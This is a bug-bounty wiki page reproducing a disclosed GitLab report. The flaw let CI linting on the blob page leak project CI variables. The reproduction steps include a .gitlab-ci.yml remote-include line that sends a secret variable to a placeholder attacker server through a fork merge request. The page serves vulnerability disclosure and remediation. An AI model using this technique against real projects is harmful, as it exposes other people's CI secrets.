Skip to content
Info disclosure Disclosed report Intermediate

Backend: Leaking CI variables by visiting the blob page via fork MRs

GitLab's CI linting of a blob page ran in the context of the viewed project, allowing an attacker to include a remote CI configuration that referenced a project CI variable. By creating a fork merge request, the attacker could push a malicious .gitlab-ci.yml and then visit the blob page to cause the variable to be sent to their server.

GitLab

Originally disclosed on GitLab

  • Fixed in 7 months
  • Disclosed after 7 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1875515 by shells3c on 2023-02-15, assigned to @cmaxim:

Report | How To Reproduce

Report

SSOT

Refer to https://gitlab.com/gitlab-org/gitlab/-/issues/417275

Summary

When viewing the Gitlab CI configuration, Gitlab runs CI linting on the file content

app/models/blob_viewer/gitlab_ci_yml.rb

Ruby
    def validation_message(opts)  
      return [@]validation_message if defined?([@]validation_message)

      prepare!

      [@]validation_message = Gitlab::Ci::Lint  
        .new(project: opts[:project], current_user: opts[:user], sha: opts[:sha])  
        .validate(blob.data).errors.first  
    end  

The CI validation is run within the context of the viewed project, therefore project's CI variables can be used here. blob.data is the CI configuration content from a blob of the project and can be manipulated because even without Developer permission, I still can push a blob to the project by creating a merge request (commits of merge request will be fetched into the repository object pool). This allows me to run CI lint on the project without create_pipeline permission (the permission is checked in the CI lint API and GraphQL)

Steps to reproduce
  1. Create a project, create a CI variable in General > CI/CD > Variables, let say variable_x
  2. As the attacker, fork the project, and edit the CI configuration (.gitlab-ci.yml by default) with the following content (replace <ATTACKER SERVER>):
Ruby
include:  
  remote: 'http://<ATTACKER SERVER>/${variable_x}.yaml  
  1. Create a merge request with the previous change
  2. Now grab the commit SHA, visit this link and the variable will be sent to your server: https://gitlab.com/<victim>/<project>/-/blob/<sha>/.gitlab-ci.yml
Output of checks

This bug happens on GitLab.com

Impact

Unauthorized users can leak CI variables

Proposal

⚠️ We are still discussing if it would make sense to disable CI Linter for external ref.

How To Reproduce

Please add reproducibility information to this section:

<!-- triage-serverless v3 PLEASE DO NOT REMOVE THIS SECTION -->

This page may contain information related to upcoming products, features and functionality. It is important to note that the information presented is for informational purposes only, so please do not rely on the information for purchasing or planning purposes. Just like with all projects, the items mentioned on the page are subject to change or delay, and the development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.

<!-- triage-serverless v3 PLEASE DO NOT REMOVE THIS SECTION -->

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Unauthorized users could leak CI variables.

What the attacker needed

Victim project has CI variables; attacker can fork the project; attacker can create a merge request; attacker controls a server

The fix

The report proposes disabling the CI linter for external refs, but the text does not state that a fix was applied.

How it was found

  1. Create a project and add a CI variable in the project settings.
  2. As the attacker, fork the project and edit the CI configuration to include a remote file from the attacker's server that references the variable.
  3. Create a merge request with that change.
  4. Obtain the commit SHA and visit the blob page for the .gitlab-ci.yml file at that SHA.
  5. The variable is sent to the attacker's server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

GitLab CI variables are secret values used in pipelines. When you view a CI configuration file, GitLab checks it for errors, and that check can use the project's variables. An attacker could trick that check into sending a secret variable to their own server by putting a remote include in a file they pushed via a merge request.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.